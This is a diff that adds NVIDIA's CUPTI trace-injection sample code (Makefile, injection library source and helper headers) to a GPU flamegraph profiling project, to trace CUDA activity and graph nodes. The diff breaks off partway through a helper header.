b/src/xpu/flamegraph/cupti_trace/Makefile @@ -0,0 +1,71 @@ +# +# Copyright 2021 NVIDIA Corporation. All rights reserved +# +ifndef OS + OS := $(shell uname) + HOST_ARCH := $(shell uname -m) +endif + +CUDA_INSTALL_PATH ?= /usr/local/cuda-12.9 +NVCC := "$(CUDA_INSTALL_PATH)/bin/nvcc" +CUPTI_INSTALL_PATH ?= $(CUDA_INSTALL_PATH)/targets/x86_64-linux +CUPTI_SAMPLES_PATH ?= $(CUDA_INSTALL_PATH)/extras/CUPTI/samples/common +INCLUDES := -I"$(CUDA_INSTALL_PATH)/include" -I$(CUPTI_INSTALL_PATH)/include -I$(CUPTI_SAMPLES_PATH) + +ifeq ($(OS),Windows_NT) + LIB_PATH ?= ..\..\lib64 +else + EXTRAS_LIB_PATH := $(CUPTI_INSTALL_PATH)/lib + LIB_PATH ?= $(CUDA_INSTALL_PATH)/lib64 +endif + +# Point to the necessary cross-compiler. +NVCCFLAGS := +ifeq ($(OS),Windows_NT) + export PATH := $(PATH):$(LIB_PATH) + LIBS= -L $(LIB_PATH) -lcuda -lcupti -ldetours + LIBNAME := libcupti_trace_injection.dll +else + ifeq ($(OS), Darwin) + export DYLD_LIBRARY_PATH := $(DYLD_LIBRARY_PATH):$(LIB_PATH) + LIBS= -Xlinker -framework -Xlinker cuda -L $(EXTRAS_LIB_PATH) -L $(LIB_PATH) -lcupti + else + export LD_LIBRARY_PATH := $(LD_LIBRARY_PATH):$(LIB_PATH) + LIBS = -L $(LIB_PATH) -lcuda -L $(EXTRAS_LIB_PATH) -lcupti + endif + LIBNAME := libcupti_trace_injection.so + NVCCFLAGS += -Xcompiler -fPIC +endif + +ifneq ($(TARGET_ARCH), $(HOST_ARCH)) + ifeq ($(TARGET_ARCH), aarch64) + ifeq ($(TARGET_OS), linux) + HOST_COMPILER ?= aarch64-linux-gnu-g++ + else ifeq ($(TARGET_OS),qnx) + ifeq ($(QNX_HOST),) + $(error ERROR - QNX_HOST must be passed to the QNX host toolchain) + endif + ifeq ($(QNX_TARGET),) + $(error ERROR - QNX_TARGET must be passed to the QNX target toolchain) + endif + HOST_COMPILER ?= $(QNX_HOST)/usr/bin/q++ + ifndef QPP_CONFIG_VERSION + QPP_CONFIG_VERSION = 12.2.0 + endif + $(info QPP_CONFIG_VERSION = $(QPP_CONFIG_VERSION)) + NVCCFLAGS += --qpp-config $(QPP_CONFIG_VERSION),gcc_ntoaarch64le -lsocket + endif + endif + + ifdef HOST_COMPILER + NVCC_COMPILER := -ccbin $(HOST_COMPILER) + endif +endif + +all: cupti_trace_injection + +cupti_trace_injection: cupti_trace_injection.cpp + $(NVCC) $(NVCC_COMPILER) $(NVCCFLAGS) $(INCLUDES) -o $(LIBNAME) -shared $< $(LIBS) --no-device-link + +clean: + rm -f $(LIBNAME) cupti_trace_injection.o *.o *.bak diff --git a/src/xpu/flamegraph/cupti_trace/cupti_trace_injection.cpp b/src/xpu/flamegraph/cupti_trace/cupti_trace_injection.cpp new file mode 100644 index 00000000..b59ba714 --- /dev/null +++ b/src/xpu/flamegraph/cupti_trace/cupti_trace_injection.cpp @@ -0,0 +1,608 @@ +/* + * Copyright 2021-2024 NVIDIA Corporation. All rights reserved. + * + * CUPTI based tracing injection to trace any CUDA application. + * This sample demonstrates how to use activity + * and callback APIs in the injection code. + * Refer to the README.txt file for usage. + * + * Workflow in brief: + * + * After the initialization routine returns, the application resumes running, + * with the registered callbacks triggering as expected. + * Subscribed to ProfilerStart and ProfilerStop callbacks. These callbacks + * control the collection of profiling data. + * + * ProfilerStart callback: + * Start the collection by enabling activities. Also enable callback for + * the API cudaDeviceReset to flush activity buffers. + * + * ProfilerStop callback: + * Get all the activity buffers which have all the activity records completed + * by using cuptiActivityFlushAll() API and then disable cudaDeviceReset callback + * and all the activities to stop collection. + * + * AtExitHandler: + * Register to the atexit handler to get all the activity buffers including the ones + * which have incomplete activity records by using force flush API + * cuptiActivityFlushAll(1). + */ + +// System headers +#include +#include +#include +#include +#include + +// CUDA headers +#include + +// CUPTI headers +#include "helper_cupti_activity.h" + +// Detours for Windows +#ifdef _WIN32 +#include "detours.h" +#include +#else +#include +#include +#endif + +// Macros +#define IS_ACTIVITY_SELECTED(activitySelect, activityKind) \ + (activitySelect & (1LL << activityKind)) + +#define SELECT_ACTIVITY(activitySelect, activityKind) \ + (activitySelect |= (1LL << activityKind)) + +// Variable related to initialize injection. +std::mutex initializeInjectionMutex; + +// Data structures for graph node tracking +typedef struct ApiData_st +{ + const char *pFunctionName; + uint32_t correlationId; +} ApiData; + +typedef std::map NodeIdApiDataMap; +NodeIdApiDataMap nodeIdCorrelationMap; + +// Global Structure +typedef struct InjectionGlobals_st +{ + volatile uint32_t initialized; + CUpti_SubscriberHandle subscriberHandle; + int tracingEnabled; + uint64_t profileMode; +} InjectionGlobals; + +InjectionGlobals injectionGlobals; + +CUptiResult +DisableCuptiActivities( + CUcontext ctx); + +// Functions +static void +InitializeInjectionGlobals(void) +{ + injectionGlobals.initialized = 0; + injectionGlobals.subscriberHandle = NULL; + injectionGlobals.tracingEnabled = 0; + injectionGlobals.profileMode = 0; +} + +static void +AtExitHandler(void) +{ + CUPTI_API_CALL(cuptiGetLastError()); + + // Force flush the activity buffers. + if (injectionGlobals.tracingEnabled) + { + CUPTI_API_CALL(DisableCuptiActivities(NULL)); + CUPTI_API_CALL_VERBOSE(cuptiActivityFlushAll(1)); + } + + // Flush and close output file if it's not stdout + if (globals.pOutputFile && globals.pOutputFile != stdout && globals.pOutputFile != stderr) + { + fflush(globals.pOutputFile); + fclose(globals.pOutputFile); + globals.pOutputFile = NULL; + } +} + +#ifdef _WIN32 +typedef void(WINAPI *rtlExitUserProcess_t)(uint32_t exitCode); +rtlExitUserProcess_t Real_RtlExitUserProcess = NULL; + +// Detour_RtlExitUserProcess. +void WINAPI +Detour_RtlExitUserProcess( + uint32_t exitCode) +{ + AtExitHandler(); + + Real_RtlExitUserProcess(exitCode); +} +#endif + +void +RegisterAtExitHandler(void) +{ +#ifdef _WIN32 + { + // It's unsafe to use atexit(), static destructors, DllMain PROCESS_DETACH, etc. + // because there's no way to guarantee the CUDA driver is still in a valid state + // when you get to those, due to the undefined order of dynamic library tear-down + // during process destruction. + // Also, the first thing the Windows kernel does when any thread in a process + // calls exit() is to immediately terminate all other threads, without any kind of + // synchronization. + // So the only valid time to do any in-process cleanup at exit() is before control + // is passed to the kernel. Use Detours to intercept a low-level ntdll.dll + // function "RtlExitUserProcess". + int detourStatus = 0; + FARPROC proc; + + // ntdll.dll will always be loaded, no need to load the library. + HMODULE ntDll = GetModuleHandle(TEXT("ntdll.dll")); + if (!ntDll) + { + detourStatus = 1; + goto DetourError; + } + + proc = GetProcAddress(ntDll, "RtlExitUserProcess"); + if (!proc) + { + detourStatus = 1; + goto DetourError; + } + Real_RtlExitUserProcess = (rtlExitUserProcess_t)proc; + + // Begin a detour transaction + if (DetourTransactionBegin() != ERROR_SUCCESS) + { + detourStatus = 1; + goto DetourError; + } + + if (DetourUpdateThread(GetCurrentThread()) != ERROR_SUCCESS) + { + detourStatus = 1; + goto DetourError; + } + + DetourSetIgnoreTooSmall(TRUE); + + if (DetourAttach((void **)&Real_RtlExitUserProcess, + (void *)Detour_RtlExitUserProcess) != ERROR_SUCCESS) + { + detourStatus = 1; + goto DetourError; + } + + // Commit the transaction + if (DetourTransactionCommit() != ERROR_SUCCESS) + { + detourStatus = 1; + goto DetourError; + } + DetourError: + if (detourStatus != 0) + { + atexit(&AtExitHandler); + } + } +#else + atexit(&AtExitHandler); +#endif +} + +static CUptiResult +SelectActivities() +{ + // Core activities - always enabled + SELECT_ACTIVITY(injectionGlobals.profileMode, CUPTI_ACTIVITY_KIND_RUNTIME); + SELECT_ACTIVITY(injectionGlobals.profileMode, CUPTI_ACTIVITY_KIND_CONCURRENT_KERNEL); + + // Optional: DRIVER activity - enable via CUPTI_ENABLE_DRIVER=1 + const char *enableDriver = getenv("CUPTI_ENABLE_DRIVER"); + if (enableDriver && atoi(enableDriver) == 1) { + SELECT_ACTIVITY(injectionGlobals.profileMode, CUPTI_ACTIVITY_KIND_DRIVER); + SELECT_ACTIVITY(injectionGlobals.profileMode, CUPTI_ACTIVITY_KIND_OVERHEAD); + } + + // Optional: Memory operations - enable via CUPTI_ENABLE_MEMORY=1 + const char *enableMemory = getenv("CUPTI_ENABLE_MEMORY"); + if (enableMemory && atoi(enableMemory) == 1) { + SELECT_ACTIVITY(injectionGlobals.profileMode, CUPTI_ACTIVITY_KIND_MEMSET); + SELECT_ACTIVITY(injectionGlobals.profileMode, CUPTI_ACTIVITY_KIND_MEMCPY); + SELECT_ACTIVITY(injectionGlobals.profileMode, CUPTI_ACTIVITY_KIND_MEMCPY2); + SELECT_ACTIVITY(injectionGlobals.profileMode, CUPTI_ACTIVITY_KIND_MEMORY2); + } + + // Optional: NVTX annotations - enable via CUPTI_ENABLE_NVTX=1 + const char *enableNvtx = getenv("CUPTI_ENABLE_NVTX"); + if (enableNvtx && atoi(enableNvtx) == 1) { + SELECT_ACTIVITY(injectionGlobals.profileMode, CUPTI_ACTIVITY_KIND_NAME); + SELECT_ACTIVITY(injectionGlobals.profileMode, CUPTI_ACTIVITY_KIND_MARKER); + SELECT_ACTIVITY(injectionGlobals.profileMode, CUPTI_ACTIVITY_KIND_MARKER_DATA); + } + + return CUPTI_SUCCESS; +} + +void +GraphTraceRecords( + CUpti_Activity *pRecord) +{ + switch (pRecord->kind) + { + case CUPTI_ACTIVITY_KIND_MEMCPY: + { + CUpti_ActivityMemcpy6 *pMemcpyRecord = (CUpti_ActivityMemcpy6 *) pRecord; + + // Retrieve the information of the API used to create the node. + NodeIdApiDataMap::iterator it = nodeIdCorrelationMap.find(pMemcpyRecord->graphNodeId); + if (it != nodeIdCorrelationMap.end()) + { + fprintf(globals.pOutputFile, "Graph node was created using API %s with correlationId %u\n", + it->second.pFunctionName, it->second.correlationId); + } + break; + } + case CUPTI_ACTIVITY_KIND_KERNEL: + case CUPTI_ACTIVITY_KIND_CONCURRENT_KERNEL: + { + CUpti_ActivityKernel9 *pKernelRecord = (CUpti_ActivityKernel9 *) pRecord; + + // Retrieve the information of the API used to create the node. + NodeIdApiDataMap::iterator it = nodeIdCorrelationMap.find(pKernelRecord->graphNodeId); + if (it != nodeIdCorrelationMap.end()) + { + fprintf(globals.pOutputFile, "Graph node was created using API %s with correlationId %u\n", + it->second.pFunctionName, it->second.correlationId); + } + break; + } + default: + break; + } +} + +static CUptiResult +EnableCuptiActivities( + CUcontext context) +{ + CUPTI_API_CALL_VERBOSE(cuptiEnableCallback(1, injectionGlobals.subscriberHandle, CUPTI_CB_DOMAIN_RUNTIME_API, CUPTI_RUNTIME_TRACE_CBID_cudaDeviceReset_v3020)); + + CUPTI_API_CALL(SelectActivities()); + + for (int i = 0; i < CUPTI_ACTIVITY_KIND_COUNT; ++i) + { + CUptiResult result = CUPTI_SUCCESS; + + if (IS_ACTIVITY_SELECTED(injectionGlobals.profileMode, i)) + { + // If context is NULL activities are being enabled after CUDA initialization. + // Else the activities are being enabled on cudaProfilerStart API. + if (context == NULL) + { + std::cout << "Enabling CUPTI_ACTIVITY_KIND_" << GetActivityKindString((CUpti_ActivityKind)i) << ".\n"; + CUPTI_API_CALL(cuptiActivityEnable((CUpti_ActivityKind)i)); + } + else + { + // Since some activities are not supported at context mode, + // enable them in global mode if context mode fails. + std::cout << "Enabling CUPTI_ACTIVITY_KIND_" << GetActivityKindString((CUpti_ActivityKind)i) << " for a context.\n"; + result = cuptiActivityEnableContext(context, (CUpti_ActivityKind)i); + + if (result == CUPTI_ERROR_INVALID_KIND) + { + cuptiGetLastError(); + std::cout << "Enabling CUPTI_ACTIVITY_KIND_" << GetActivityKindString((CUpti_ActivityKind)i) << ".\n"; + CUPTI_API_CALL_VERBOSE(cuptiActivityEnable((CUpti_ActivityKind)i)); + } + else if (result != CUPTI_SUCCESS) + { + CUPTI_API_CALL(result); + } + } + } + } + + return CUPTI_SUCCESS; +} + +CUptiResult +DisableCuptiActivities( + CUcontext context) +{ + CUPTI_API_CALL_VERBOSE(cuptiEnableCallback(0, injectionGlobals.subscriberHandle, CUPTI_CB_DOMAIN_RUNTIME_API, CUPTI_RUNTIME_TRACE_CBID_cudaDeviceReset_v3020)); + + for (int i = 0; i < CUPTI_ACTIVITY_KIND_COUNT; ++i) + { + CUptiResult result = CUPTI_SUCCESS; + + if (IS_ACTIVITY_SELECTED(injectionGlobals.profileMode, i)) + { + if (context == NULL) + { + std::cout << "Disabling CUPTI_ACTIVITY_KIND_" << GetActivityKindString((CUpti_ActivityKind)i) << ".\n"; + CUPTI_API_CALL(cuptiActivityDisable((CUpti_ActivityKind)i)); + } + else + { + // Since some activities are not supported at context mode, + // disable them in global mode if context mode fails. + std::cout << "Disabling CUPTI_ACTIVITY_KIND_" << GetActivityKindString((CUpti_ActivityKind)i) << " for a context.\n"; + result = cuptiActivityDisableContext(context, (CUpti_ActivityKind)i); + + if (result == CUPTI_ERROR_INVALID_KIND) + { + cuptiGetLastError(); + std::cout << "Disabling CUPTI_ACTIVITY_KIND_" << GetActivityKindString((CUpti_ActivityKind)i) << ".\n"; + CUPTI_API_CALL(cuptiActivityDisable((CUpti_ActivityKind)i)); + } + else if (result != CUPTI_SUCCESS) + { + CUPTI_API_CALL(result); + } + } + } + } + + return CUPTI_SUCCESS; +} + +static CUptiResult +OnCudaDeviceReset(void) +{ + // Flush all activity buffers. + CUPTI_API_CALL_VERBOSE(cuptiActivityFlushAll(0)); + + return CUPTI_SUCCESS; +} + +static CUptiResult +OnProfilerStart( + CUcontext context) +{ + if (context == NULL) + { + // Don't do anything if context is NULL. + return CUPTI_SUCCESS; + } + + CUPTI_API_CALL(EnableCuptiActivities(context)); + + return CUPTI_SUCCESS; +} + +static CUptiResult +OnProfilerStop( + CUcontext context) +{ + if (context == NULL) + { + // Don't do anything if context is NULL. + return CUPTI_SUCCESS; + } + + CUPTI_API_CALL_VERBOSE(cuptiActivityFlushAll(0)); + CUPTI_API_CALL(DisableCuptiActivities(context)); + + return CUPTI_SUCCESS; +} + +void CUPTIAPI +InjectionCallbackHandler( + void *pUserData, + CUpti_CallbackDomain domain, + CUpti_CallbackId callbackId, + void *pCallbackData) +{ + static const char *s_pFunctionName; + static uint32_t s_correlationId; + + const CUpti_CallbackData *pCallbackInfo = (CUpti_CallbackData *)pCallbackData; + + // Clear any previous CUPTI errors. cuptiGetLastError() retrieves and clears the last error. + // We don't treat this as fatal since it's just clearing state from previous operations. + CUptiResult _status = cuptiGetLastError(); + if (_status != CUPTI_SUCCESS && _status != CUPTI_ERROR_NOT_INITIALIZED) + { + const char *pErrorString; + cuptiGetResultString(_status, &pErrorString); + // Log but don't exit - this is just informational + std::cerr << "Warning: Cleared previous CUPTI error(" << _status << "): " << pErrorString << "\n"; + } + + switch (domain) + { + case CUPTI_CB_DOMAIN_STATE: + HandleDomainStateCallback(callbackId, (CUpti_StateData *)pCallbackData); + break; + case CUPTI_CB_DOMAIN_RESOURCE: + { + CUpti_ResourceData *pResourceData = (CUpti_ResourceData *)pCallbackData; + switch (callbackId) + { + case CUPTI_CBID_RESOURCE_GRAPHNODE_CREATED: + { + // Do not store info for the nodes that are created during graph instantiate. + if (s_pFunctionName && !strncmp(s_pFunctionName, "cudaGraphInstantiate", strlen("cudaGraphInstantiate"))) + { + break; + } + CUpti_GraphData *callbackData = (CUpti_GraphData *) pResourceData->resourceDescriptor; + uint64_t nodeId; + + // Query the graph node ID and store the API correlation id and function name. + CUPTI_API_CALL(cuptiGetGraphNodeId(callbackData->node, &nodeId)); + ApiData apiData; + apiData.correlationId = s_correlationId; + apiData.pFunctionName = s_pFunctionName; + nodeIdCorrelationMap[nodeId] = apiData; + break; + } + case CUPTI_CBID_RESOURCE_GRAPHNODE_CLONED: + { + CUpti_GraphData *callbackData = (CUpti_GraphData *) pResourceData->resourceDescriptor; + uint64_t nodeId, originalNodeId; + + // Overwrite the map entry with node ID of the cloned graph node. + CUPTI_API_CALL(cuptiGetGraphNodeId(callbackData->originalNode, &originalNodeId)); + NodeIdApiDataMap::iterator it = nodeIdCorrelationMap.find(originalNodeId); + if (it != nodeIdCorrelationMap.end()) + { + CUPTI_API_CALL(cuptiGetGraphNodeId(callbackData->node, &nodeId)); + ApiData apiData = it->second; + nodeIdCorrelationMap.erase(it); + nodeIdCorrelationMap[nodeId] = apiData; + } + break; + } + default: + break; + } + break; + } + case CUPTI_CB_DOMAIN_DRIVER_API: + { + switch (callbackId) + { + case CUPTI_DRIVER_TRACE_CBID_cuProfilerStart: + { + // We start profiling collection on exit of the API. + if (pCallbackInfo->callbackSite == CUPTI_API_EXIT) + { + OnProfilerStart(pCallbackInfo->context); + } + break; + } + case CUPTI_DRIVER_TRACE_CBID_cuProfilerStop: + { + // We stop profiling collection on entry of the API. + if (pCallbackInfo->callbackSite == CUPTI_API_ENTER) + { + OnProfilerStop(pCallbackInfo->context); + } + break; + } + default: + break; + } + break; + } + case CUPTI_CB_DOMAIN_RUNTIME_API: + { + if (pCallbackInfo->callbackSite == CUPTI_API_ENTER) + { + s_correlationId = pCallbackInfo->correlationId; + s_pFunctionName = pCallbackInfo->functionName; + } + + switch (callbackId) + { + case CUPTI_RUNTIME_TRACE_CBID_cudaDeviceReset_v3020: + { + if (pCallbackInfo->callbackSite == CUPTI_API_ENTER) + { + CUPTI_API_CALL(OnCudaDeviceReset()); + } + break; + } + default: + break; + } + break; + } + default: + break; + } +} + +static void +SetupCupti(void) +{ + UserData *pUserData = (UserData *)malloc(sizeof(UserData)); + MEMORY_ALLOCATION_CALL(pUserData); + + memset(pUserData, 0, sizeof(UserData)); + pUserData->pPostProcessActivityRecords = GraphTraceRecords; + pUserData->printActivityRecords = 1; + + // Common CUPTI Initialization. + // Configure output file from environment variable or use default + const char *outputPath = getenv("CUPTI_TRACE_OUTPUT_FILE"); + if (!outputPath) { + outputPath = "cupti_trace_output.txt"; // Default filename + } + + FILE *outputFile = stdout; // Default to stdout + if (strcmp(outputPath, "stdout") != 0) { + outputFile = fopen(outputPath, "w"); + if (!outputFile) { + std::cerr << "Failed to open output file '" << outputPath << "', falling back to stdout\n"; + outputFile = stdout; + } else { + std::cout << "CUPTI trace output will be written to: " << outputPath << "\n"; + } + } + InitCuptiTrace(pUserData, (void *)InjectionCallbackHandler, outputFile); + + injectionGlobals.subscriberHandle = globals.subscriberHandle; + + // Subscribe Driver callback to call OnProfilerStart/OnProfilerStop function. + CUPTI_API_CALL_VERBOSE(cuptiEnableCallback(1, injectionGlobals.subscriberHandle, CUPTI_CB_DOMAIN_DRIVER_API, CUPTI_DRIVER_TRACE_CBID_cuProfilerStart)); + CUPTI_API_CALL_VERBOSE(cuptiEnableCallback(1, injectionGlobals.subscriberHandle, CUPTI_CB_DOMAIN_DRIVER_API, CUPTI_DRIVER_TRACE_CBID_cuProfilerStop)); + + // Enable callbacks for CUDA graph node tracking. + CUPTI_API_CALL_VERBOSE(cuptiEnableCallback(1, injectionGlobals.subscriberHandle, CUPTI_CB_DOMAIN_RESOURCE, CUPTI_CBID_RESOURCE_GRAPHNODE_CREATED)); + CUPTI_API_CALL_VERBOSE(cuptiEnableCallback(1, injectionGlobals.subscriberHandle, CUPTI_CB_DOMAIN_RESOURCE, CUPTI_CBID_RESOURCE_GRAPHNODE_CLONED)); + CUPTI_API_CALL_VERBOSE(cuptiEnableDomain(1, injectionGlobals.subscriberHandle, CUPTI_CB_DOMAIN_RUNTIME_API)); + + // Enable CUPTI activities. + CUPTI_API_CALL(EnableCuptiActivities(NULL)); +} + +#ifdef _WIN32 +extern "C" __declspec(dllexport) int +InitializeInjection(void) +#else +extern "C" int +InitializeInjection(void) +#endif +{ + if (injectionGlobals.initialized) + { + // Return 1 to indicate that the injection is already successfully initialized. + return 1; + } + + initializeInjectionMutex.lock(); + + // Initialize injection global options. + InitializeInjectionGlobals(); + + RegisterAtExitHandler(); + + // Initialize CUPTI. + SetupCupti(); + + injectionGlobals.tracingEnabled = 1; + injectionGlobals.initialized = 1; + + initializeInjectionMutex.unlock(); + + // Return 1 to indicate that the injection is successfully initialized. + return 1; +} diff --git a/src/xpu/flamegraph/cupti_trace/helper_cupti.h b/src/xpu/flamegraph/cupti_trace/helper_cupti.h new file mode 100644 index 00000000..13f6725f --- /dev/null +++ b/src/xpu/flamegraph/cupti_trace/helper_cupti.h @@ -0,0 +1,184 @@ +/** + * Copyright 2022-2024 NVIDIA Corporation. All rights reserved. + * + * Please refer to the NVIDIA end user license agreement (EULA) associated + * with this source code for terms and conditions that govern your use of + * this software. Any use, reproduction, disclosure, or distribution of + * this software and related documentation outside the terms of the EULA + * is strictly prohibited. + * + */ + +//////////////////////////////////////////////////////////////////////////////// + +#ifndef HELPER_CUPTI_H_ +#define HELPER_CUPTI_H_ + +#pragma once + +#include + +#ifndef EXIT_WAIVED +#define EXIT_WAIVED 2 +#endif + +#if defined(WIN32) || defined(_WIN32) +#define stricmp _stricmp +#else +#define stricmp strcasecmp +#endif + +#define CUDA_MAX_DEVICES 256 // consider theoretical max devices as 256 +#define DEV_NAME_LEN 256 + +#ifndef DRIVER_API_CALL +#define DRIVER_API_CALL(apiFunctionCall) \ +do \ +{ \ + CUresult _status = apiFunctionCall; \ + if (_status != CUDA_SUCCESS) \ + { \ + const char *pErrorString; \ + cuGetErrorString(_status, &pErrorString); \ + \ + std::cerr << "\n\nError: " << __FILE__ << ":" << __LINE__ << ": Function " \ + << #apiFunctionCall << " failed with error(" << _status << "): " \ + << pErrorString << ".\n\n"; \ + \ + exit(EXIT_FAILURE); \ + } \ +} while (0) +#endif + +#ifndef RUNTIME_API_CALL +#define RUNTIME_API_CALL(apiFunctionCall) \ +do \ +{ \ + cudaError_t _status = apiFunctionCall; \ + if (_status != cudaSuccess) \ + { \ + std::cerr << "\n\nError: " << __FILE__ << ":" << __LINE__ << ": Function " \ + << #apiFunctionCall << " failed with error(" << _status << "): " \ + << cudaGetErrorString(_status) << ".\n\n"; \ + \ + exit(EXIT_FAILURE); \ + } \ +} while (0) +#endif + +#ifndef CUPTI_API_CALL +#define CUPTI_API_CALL(apiFunctionCall) \ +do \ +{ \ + CUptiResult _status = apiFunctionCall; \ + if (_status != CUPTI_SUCCESS) \ + { \ + const char *pErrorString; \ + cuptiGetResultString(_status, &pErrorString); \ + \ + std::cerr << "\n\nError: " << __FILE__ << ":" << __LINE__ << ": Function " \ + << #apiFunctionCall << " failed with error(" << _status << "): " \ + << pErrorString << ".\n\n"; \ + \ + exit(EXIT_FAILURE); \ + } \ +} while (0) +#endif + +#ifndef CUPTI_API_CALL_VERBOSE +#define CUPTI_API_CALL_VERBOSE(apiFunctionCall) \ +do \ +{ \ + std::cout << "Calling CUPTI API: " << #apiFunctionCall << "\n"; \ + \ + CUptiResult _status = apiFunctionCall; \ + if (_status != CUPTI_SUCCESS) \ + { \ + const char *pErrorString; \ + cuptiGetResultString(_status, &pErrorString); \ + \ + std::cerr << "\n\nError: " << __FILE__ << ":" << __LINE__ << ": Function " \ + << #apiFunctionCall << " failed with error(" << _status << "): " \ + << pErrorString << ".\n\n"; \ + \ + exit(EXIT_FAILURE); \ + } \ +} while (0) +#endif + +#ifndef CUPTI_UTIL_CALL +#define CUPTI_UTIL_CALL(apiFunctionCall) \ +do \ +{ \ + CUptiUtilResult _status = apiFunctionCall; \ + if (_status != CUPTI_UTIL_SUCCESS) \ + { \ + std::cerr << "\n\nError: " << __FILE__ << ":" << __LINE__ << ": Function " \ + << #apiFunctionCall << " failed with error: " << _status << "\n\n"; \ + \ + exit(EXIT_FAILURE); \ + } \ +} while (0) +#endif + +#ifndef NVPW_API_CALL +#define NVPW_API_CALL(apiFunctionCall) \ +do \ +{ \ + NVPA_Status _status = apiFunctionCall; \ + if (_status != NVPA_STATUS_SUCCESS) \ + { \ + std::cerr << "\n\nError: " << __FILE__ << ":" << __LINE__ << ": Function " \ + << #apiFunctionCall << " failed with error: " << _status << "\n\n"; \ + \ + exit(EXIT_FAILURE); \ + } \ +} while (0) +#endif + +#ifndef MEMORY_ALLOCATION_CALL +#define MEMORY_ALLOCATION_CALL(variable) \ +do \ +{ \ + if (variable == NULL) \ + { \ + std::cerr << "\n\nError: " << __FILE__ << ":" << __LINE__ << \ + " Memory allocation failed.\n\n"; \ + \ + exit(EXIT_FAILURE); \ + } \ +} while (0) +#endif + +#ifndef CHECK_CONDITION +#define CHECK_CONDITION(condition) \ +do \ +{ \ + if (!(condition)) \ + { \ + std::cerr << "\n\nError: " << __FILE__ << ":" << __LINE__ << ": Condition " \ + << #condition << " failed.\n\n"; \ + \ + exit(EXIT_FAILURE); \ + } \ +} while (0) +#endif + +#ifndef CHECK_INTEGER_CONDITION +#define CHECK_INTEGER_CONDITION(argument1, operator, argument2) \ +do \ +{ \ + if (!(argument1 operator argument2)) \ + { \ + std::cerr << "\n\nError: " << __FILE__ << ":" << __LINE__ << ": Condition " \ + << #argument1 << " " << #operator << " " << #argument2 << " fails. " << \ + #argument1 << " = " << argument1 << ", " << #argument2 << " = " << \ + argument2 << "\n\n"; \ + \ + exit(EXIT_FAILURE); \ + } \ +} while (0) +#endif + +#endif // HELPER_CUPTI_H_ + diff --git a/src/xpu/flamegraph/cupti_trace/helper_cupti_activity.h b/src/xpu/flamegraph/cupti_trace/helper_cupti_activity.h new file mode 100644 index 00000000..fb88b50e --- /dev/null +++ b/src/xpu/flamegraph/cupti_trace/helper_cupti_activity.h @@ -0,0 +1,2152 @@ +/** + * Copyright 2022-2024 NVIDIA Corporation. All rights reserved. + * + * Please refer to the NVIDIA end user license agreement (EULA) associated + * with this source code for terms and conditions that govern your use of + * this software. Any use, reproduction, disclosure, or distribution of + * this software and related documentation outside the terms of the EULA + * is strictly prohibited. + * + */ + +//////////////////////////////////////////////////////////////////////////////// + +#ifndef HELPER_CUPTI_ACTIVITY_H_ +#define HELPER_CUPTI_ACTIVITY_H_ + +#pragma once + +// System headers +#include +#include +#include +#include + +// CUPTI headers +#include +#include +#include +#include +#include + + +// Macros +#define LINE_SIZE 2048 + +// CUPTI buffer size 32 MB +#define BUF_SIZE (32 * 1024 * 1024) + +// 8-byte alignment for the buffers +#define ALIGN_SIZE (8) +#define ALIGN_BUFFER(buffer, align) \ + (((uintptr_t) (buffer) & ((align)-1)) ? ((buffer) + (align) - ((uintptr_t) (buffer) & ((align)-1))) : (buffer)) + +typedef uint64_t HashMapKey; + +// Data structures + +// Global state +typedef struct GlobalState_st +{ + CUpti_SubscriberHandle subscriberHandle; // CUPTI subcriber handle to subcribe to CUPTI callbacks. + size_t activityBufferSize; // CUPTI activity buffer size. + FILE *pOutputFile; // File handle to print the CUPTI activity records. default = stdout. + void *pUserData; // User data used to initialize CUPTI trace. Refer UserData structure. + uint64_t buffersRequested; // Requested buffers by CUPTI. + uint64_t buffersCompleted; // Completed buffers by received from CUPTI. +} GlobalState; + +// User data provided by the application using InitCuptiTrace() +// User need to allocate memory for this structure in the sample. +// Set the options according to the workloads requirement. +typedef struct UserData_st +{ + size_t activityBufferSize; // CUPTI activity buffer size. + size_t deviceBufferSize; // CUPTI device buffer size. + uint8_t flushAtStreamSync; // Flush CUPTI activity records at stream syncronization. + uint8_t flushAtCtxSync; // Flush CUPTI activity records at context syncronization. + uint8_t printCallbacks; // Print callbacks enabled in CUPTI. + uint8_t printActivityRecords; // Print CUPTI activity records. + uint8_t skipCuptiSubscription; // Check if the user application wants to skip subscription in CUPTI. + void (*pPostProcessActivityRecords)(CUpti_Activity *pRecord); // Provide function pointer in the user application for CUPTI records for post processing. +} UserData; + +// Global variables +static GlobalState globals = { 0 }; + +// Helper Functions +static const char * +GetActivityKindString( + CUpti_ActivityKind activityKind) +{ + switch (activityKind) + { + case CUPTI_ACTIVITY_KIND_MEMCPY: + return "MEMCPY"; + case CUPTI_ACTIVITY_KIND_MEMSET: + return "MEMSET"; + case CUPTI_ACTIVITY_KIND_KERNEL: + return "KERNEL"; + case CUPTI_ACTIVITY_KIND_DRIVER: + return "DRIVER"; + case CUPTI_ACTIVITY_KIND_RUNTIME: + return "RUNTIME"; + case CUPTI_ACTIVITY_KIND_DEVICE: + return "DEVICE"; + case CUPTI_ACTIVITY_KIND_CONTEXT: + return "CONTEXT"; + case CUPTI_ACTIVITY_KIND_CONCURRENT_KERNEL: + return "CONCURRENT_KERNEL"; + case CUPTI_ACTIVITY_KIND_NAME: + return "NAME"; + case CUPTI_ACTIVITY_KIND_MARKER: + return "MARKER"; + case CUPTI_ACTIVITY_KIND_MARKER_DATA: + return "MARKER_DATA"; + case CUPTI_ACTIVITY_KIND_SOURCE_LOCATOR: + return "SOURCE_LOCATOR"; + case CUPTI_ACTIVITY_KIND_GLOBAL_ACCESS: + return "GLOBAL_ACCESS"; + case CUPTI_ACTIVITY_KIND_BRANCH: + return "BRANCH"; + case CUPTI_ACTIVITY_KIND_OVERHEAD: + return "OVERHEAD"; + case CUPTI_ACTIVITY_KIND_CDP_KERNEL: + return "CDP_KERNEL"; + case CUPTI_ACTIVITY_KIND_PREEMPTION: + return "PREEMPTION"; + case CUPTI_ACTIVITY_KIND_ENVIRONMENT: + return "ENVIRONMENT"; + case CUPTI_ACTIVITY_KIND_MEMCPY2: + return "MEMCPY2"; + case CUPTI_ACTIVITY_KIND_INSTRUCTION_EXECUTION: + return "INSTRUCTION_EXECUTION"; + case CUPTI_ACTIVITY_KIND_UNIFIED_MEMORY_COUNTER: + return "UNIFIED_MEMORY_COUNTER"; + case CUPTI_ACTIVITY_KIND_FUNCTION: + return "FUNCTION"; + case CUPTI_ACTIVITY_KIND_MODULE: + return "MODULE"; + case 